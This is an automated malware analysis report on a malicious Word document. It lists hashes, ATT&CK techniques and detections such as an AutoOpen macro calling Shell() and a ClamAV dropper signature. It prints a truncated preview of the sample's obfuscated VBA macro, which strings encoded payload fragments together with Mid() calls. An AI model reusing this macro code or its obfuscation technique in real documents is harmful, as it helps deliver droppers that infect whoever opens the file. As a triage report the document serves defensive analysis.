Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f090075de9346907…

MALICIOUS

Office (OLE)

91.0 KB Created: 2017-11-02 12:57:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 4b4c3b9b15a94630032beb6f93fefc95 SHA-1: 13a846f2707b305ec5e43794897edf2a4f0734bc SHA-256: f090075de9346907b30b76117feef14e4183708a8ecce7d29d4b4b05df05c8ac
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers a Shell() call, which is highly suspicious and indicative of a downloader or dropper. The presence of the 'macros.bas' artifact further confirms macro execution. The specific payload and its ultimate destination are not discernible from the provided evidence, leading to an 'unknown family' classification.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6363619-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6363619-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52445 bytes
SHA-256: b6397471115375cdf2bd38139fb8c1af44ee779cbfc9764ae633034e2e9381cb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 80 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iSsbtBEii"
Function RRPYmfzQI()
ZsSUmJz = iFdrLTAA
odOsr = Mid("Lzz4fuiMzbT5zB2MvGaF7aiP2Mzi1UAgADEAMIztUYplE7", 31, 7)
oMikw = odOsr
wUOCBYj = WzTocCbc
vzwpEpHbPAN = Mid("iVhRKYTwAMwAyACAALAAgADMANgAgACwAMQAxADcALAAxADEANAAsACAAMQAwADgALAAgADEAMQA1ACAALAAgADQAMQAgACwAMQAyADMALAAxADEANgAgACwAIAAxADEANAAgACwAIAAxADIAMQAsADEAMgAzACwAqWuiMiD7UX3sWH", 8, 154)
zIsztlP = vzwpEpHbPAN
VYMOQSu = PapsQOqf
iRsGsaMK = Mid("mzbsO8sjzAC9jEN9", 9, 3)
bhnOswnb = iRsGsaMK
ZXPbpqq = PUDqVUBw
IXIpJO = Mid("1ZADAAIT3vRQHfJ", 3, 5)
TSBGuzBuSj = IXIpJO
jzGdISz = EjhCEoNJ
GCJwip = Mid("EIWwhAALAAgADkAOQAsACAAMQAwADEAIAAsACAAMQAxADIALAAxADEANgAsACAAMQAwADUALAAxADEA6jHhP", 6, 74)
cpGsm = GCJwip
HUjStQM = bmlfIsKa
ofCOAjDz = Mid("lASUzaENYPYLizAT9jizankANwAgACwAIAAxADEANgAgACwAIAAxADAANAAsADQAMQAsADUAOQAgACwAIAA4ADMALAAgADEAMQA2ACwAOQA3ACwAMQAxADQALAAxADEANgAgACwAIAA0ADUAIAAsADgAMAAgACwAMQAxADQAIAAsACAAMrjowtYz04w0YZ", 23, 155)
UnSzHfW = ofCOAjDz
zZNcIvK = liNaSjtn
JCGtLYz = Mid("w4DEAMAA4ACwAIAA0ADcAIAAsACAAMQAyADEALAAgADEAMAA3ACwANwA1ACwAOAA3ACAALAAgADcAMgAsACAAOAAwACK318cwjp", 3, 89)
buPNtsBHwH = JCGtLYz
lBCLvVo = CHhUWTrc
RqjKOkYh = Mid("OwEIPXA0X3pHJhjYV4uwNn2ksEAMQA2ACwAIAAzADIALAAgADYAMQAsACAAMwAyACAALAAxADEAMAAsADEAMAAxACwAIAAxADEAOQAgACwANAA1ACAALAAxADEAMQAgACwAIAA5ADgALAHLtjAGdiljzi", 26, 116)
kfpkjzN = RqjKOkYh
JGuIkcr = MEOwjwFS
kLnKoSlRG = Mid("CgA0ACwAMgA1AF0ALQBqAG8ASQBuACcAJwApAA==lIjXr2CjipPctO3Z5mdN6VcO67", 2, 39)
YipPYLiRHjf = kLnKoSlRG
zjhzAdG = jPFIXFuo
jNjZWcTI = Mid("Pa1ofEMRVvqzEYlzn4SRRgADEAMAA4ACwAIAA0ADYAIAAsADgANAAsACAAMQAxADEAIAAsADgAMwAsADEAMQA2ACwAMQAxADQAIAAsADEAMAA1ACwAMQAxADAALAAgADEAMAAzACAALAAgADQAMAAgACwANAAxACwANAA0ACAALAAgADMAMgAgACwAMwhNwIJ2nJ", 22, 167)
DCPId = jNjZWcTI
YruFDTY = XJKupzzz
nPSQRLOTZOj = Mid("tQqvnALAAgADEAMQAwACAALAAgADEAMAAxACAALAAxADEAOQAsADQANQAgACwAMQAxADEAIAAsADkAOAAgACwAIAAxADAANgAsACAAMQAwADEALAA5ADkAIAAsADEAMQA2ACAALAAzADIAIAAsACAAMQAxADQALAAgADkANwAsADEAMQAwACwAMQAwADAAIAAsADEZw0OEO9fzApIP", 6, 192)
XntpofnAXO = nPSQRLOTZOj
lqwokno = UrzDZiCb
tmfWqPF = Mid("qR2vAuPl7oQQALGY", 13, 2)
aYIWHUGazO = tmfWqPF
ElRQpFo = sBzYIYoF
pQCtohU = Mid("PYQ73ctbI5zicjv1t3FBKMQAsACAAMQAxADAALAA0ADYAIAAsADcANwAgACwAIAAxADAAMQAgACwAIAAxADEANOI8lT43sBh12liM", 22, 65)
MbYSbkwz = pQCtohU
nIjPTRa = QJAjWDFA
tWFFpfFN = Mid("9CBEstqiYjCRCwANAA3ACwANAA0ACwAIAAxADAANAAsADEAMQA2ACwAIAAxADEANgAgACwAIAAxADEAMgAgACwANQA4ACAALAA0ADcAIAAsADQANwAsADEAMAA5ACwAOQA3ACwAOQA3ACwAMQAxADQAIAAsADEAMQA2ACAALAAxADAANgAsADEAMAAxACwAIAAxADAAMEUFDZN6k61Tv", 13, 188)
YJzZz = tWFFpfFN
ttUhFJX = jHtzzvpL
maGpuh = Mid("kS9UI9zAKb9uBFkcDwHmYbdKAALAA5ADcAIAAsADQANgAsADEAMQAwACAALAAgAmG", 25, 39)
qSkjrPsz = maGpuh
iQflMuq = PiJiUIQF
tsDajJQZ = Mid("YGBA2ACAALAAxADEAMgAsADrqfQUfPaTjGWEfoWFkMRjFCop9s5SaFSpD", 4, 20)
daLtjRiOCm = tsDajJQZ
ilnBFio = qiwPbcVW
uazXufZaHY = Mid("QCziObiR7LpYADcALAAxADEANgAgACwAIAAxADAANAAsACAAMwAyACAALAAgADYAMQAgACwAIAAzADIALAAgADMANgAgACwAIAAxADAAMQAgACwAIAAxADEAMAAgACwAMQAxADgAIAAsACAANQA4ACAALAAgADEAMQA2ACAALAAgADEAMAAxACAALAAgADEAMAA5ACAALAAgADEFT", 13, 195)
LmPWGZjSR = uazXufZaHY
UfbwVTr = StFDilXb
ABQEsJTPM = Mid("qJ7MBACAAMQAwADgALAA1ADkAIAAsACAAMwA2ACAALAAxADEAOQAsADEAMAAxACwAIAA5ADgALAA5ADkAIAAsADEAMAA4ACAALAAgADEAMAA1ACAALAAgADEAMAAxACAALAAxADEAMAAsADNTMOczO", 6, 138)
RkYFw = ABQEsJTPM
oPQCLMK = tkjqZwpw
DuuYRLi = Mid("BGCwAMQAxADAAIAAsADEAMQA2ACwAIAA1ADkAIAAsACAAMwA2ACAALAAxADEANAAgACwAOQA3ACwAMQAxADAAIAAsACAAMQAwADAAIAAsADEAMQAxACAAfuDBh6uzm2t7iwQq8SuPPHw0cG", 3, 115)
nblkzGOJ = DuuYRLi
SOtMpwt = JulrSuvB
usRtwrz = Mid("tIJJ23rJjlBwOzCAANgA3ACwANwA0ACwAIAA0ADcAIAAsACAANAA0ACAALAAgADEAMAA0ACAALAAxADEANgAsADEAMQA2ACwAMQAxADIAIAAsACAANQA4ACAALAAgADQANwAsADQANwAgACwANAA4ACAALAA1ADUALAAgADQANgAsADEAMQA1ACAALAAxADAAB1sbYz3HLHGjzFFFV1iw", 15, 1
... (truncated)

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